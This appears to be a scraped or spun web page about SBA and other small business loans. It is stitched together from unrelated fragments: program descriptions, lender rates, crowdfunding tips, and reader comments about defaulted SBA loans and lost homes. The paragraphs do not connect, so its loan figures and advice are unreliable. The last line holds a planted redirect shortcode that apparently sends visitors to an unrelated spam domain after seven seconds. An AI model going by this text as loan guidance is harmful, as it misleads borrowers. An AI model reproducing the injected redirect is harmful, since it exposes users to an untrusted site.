Most online lenders are similar to traditional lenders and their small business loans are similar to traditional loans in many ways. Traditional lenders are reluctant to lend to small businesses; and lending to small business owners has declined since the Great Recession.
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I had an SBA loan in Florida due to the hurricanes of 2004. In 2007 I lost my job and in six months I was on SSDI knowing that there was no way I would be able to pay the taxes, mortgage or insurance and be able to survive. The Treasury Department started taking money for SBA out of my SSDI. I didn’t mind that it was that every time I would call the SBA to try and get help no one wanted to help. So it took 5 years for the county to take the house for delinquent taxes in 2013. If they had just talked to me to explain anything maybe there might have been something I could have done to keep my home. In my 60’s and having to start over and not in great health. Now I live in a studio which is only 12×20 not that big. I feel like life is over and it will only get worse form here. Enough pity party. I just want the Government to be there for the little people and help like they should, when. They helped with the hurricanes but once that is done so are they. They need to include the taxes in the mortgage so a lot of the tax sales won’t happen. MY home sold for only S30,000 and the buyer sold it for $70,000. Haven’t heard for anyone SBA about the difference. I think it is somewhere around $18,000, Will they just let it slide, seems if they wanted something they would be still deducting from my SSDI? Would I be able to get a Veteran’s loan to get a small home? Any answer would be appreciated. Wish I found this years ago. Maybe something could have been done to keep it. Jude
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Some entrepreneurs and business owners have misconceptions about SBA-backed loans. “The business has to be in good standing,” Cruz says. “Another misconception is the SBA comes in to help a business that would have failed. ‘We the people’ don’t want out money to be used to guarantee a failing business. The program doesn’t exist just to give a woman a loan. She has to be a woman with decent credit, money of her own, a great business plan, and a little success. You can’t have a business that lost money and expect the SBA or anybody else to guarantee that loan. It wouldn’t make sense.”
In fact, the U.S. Small Business Administration (SBA) now uses the score to pre-screen it’s most popular 7(a) loans. If your score falls below their minimum threshold, you may not qualify for one of the most attractive—lowest interest rates—small business loans available. Starting at the beginning of 2014, all SBA 7(a) loan applications up to $350,000 are required to go through a business credit score pre-screen. To be clear, if you’re applying for an SBA loan, most likely it’s a 7(a).
Who it’s good for: Any established business that needs a relatively large amount fast will want to check out Fundation. Loans are available in all states except North Dakota, South Dakota, and Nevada, and there are no additional costs except for the origination fee.
A crowdfunding site like Kickstarter.com can be a fun and effective way to raise money for a relatively low cost, creative project. You’ll set a goal for how money you’d like to raise over a period of time, say, $1,500 over 40 days. Your friends, family, and strangers then use the site to pledge money. Kickstarter has funded roughly 1,000 projects, from rock albums to documentary films since its launch last year. But keep in mind, this isn’t about long-term funding. Rather, it’s supposed to facilitate the asking for and giving of support for single, one-off ideas. Usually, project-creators offer incentives for pledging, such as if you give a writer $15, you’ll get a book in return. There’s no long-term return on investment for supporters and not even the ability to write off donations for tax purposes. Still, that hasn’t stopped close to 100,000 people from pledging to Kickstarter projects.
The maximum amount you can borrow with an SBA disaster loan is $2 million. The maximum repayment time is 30 years, though the SBA will determine the repayment time on a case-by-case basis depending on your ability to pay back the loan.
Many business owners report feeling stressed when applying for a small business loan. It seems that lenders are asking for more and more documentation with each passing day. In reality, most lenders have a standard discovery list of documents that are required to apply for and process a loan. Knowing which documents will be required and getting that documentation in order before you apply for your business loan can reduce your stress and speed-up approval of your loan.
SBA Export Loans Designed to help small businesses fund new exporting operations and offer cash flow solutions to small business so they can offer more flexible terms to their international customers. Rates: 5.75 – 10%
Before applying, it’s best to do your homework about the different types of loans. Most are known by names that reflect the section of the law that created the loan category. Here are the basic categories of SBA-backed loans:
Hi i got a SBA loan in 2008 and defaulted in 2009 and the company went out of business in 2010. I was told by a attorney that the state statue of limitations had ran out for them to collect from me. Today a really rude lady from SBA told me that government Loans do not have statue of limitations and they could collect till I died then take my estate. I replied I will file bankruptcy before I pay you a dime and hung up. However I really rather not do that and I am wondering was my attorney wrong or was she just being a bully.
This article should have armed you with enough information on the 6 types of SBA loans to help you decide which one is right for you. If you don’t think any of the SBA loans are right for you, there are plenty of other financing options available for you, which you can learn about by reading our other articles.
Perhaps the most common way of financing a new small business is to borrow money from friends or family. Of course, if your credit is bad — and your family and friends know it — you’ll have to persuade them that you’ll be able to pay them back.
As you can see, the SBA Export Loan program very closely resembles the SBA 7(a) loan program. If exports make of some of your business but are not a major portion, an SBA 7(a) loan will offer almost all of the same benefits. We recommend working with SmartBiz for SBA 7(a) loans because their speed and efficiency make what can be a grueling process very easy.
My business has great potential, but under our current circumstance, growth is impossible. It seems to me, that you have the ability and experience to help me do what want. Reduce and restructure the loan.
• Your business needs to meet the SBA’s size requirements. In order to qualify as a small business, your firm needs to meet the government’s definition of a small business for your industry. Some industry size requirements are based on average annual receipts; other industries are judged based on the number of employees, which generally can’t exceed 500 workers — although there are exceptions. The SBA maintains an exhaustive list of size requirements broken down by industry.
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Live Oak Bank is second only to Wells Fargo in dollar volume lent through the SBA program. Its APRs range from 5.75% to 7.75%. Loan amounts range from $75,000 to $5 million; the average in 2015 was $1.1 million.
U.S. Bank offers five types of SBA loans for businesses in almost any for-profit industry. Loan amounts range $25,000 to more than $11.25 million and are available for a variety of business purposes, including: [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]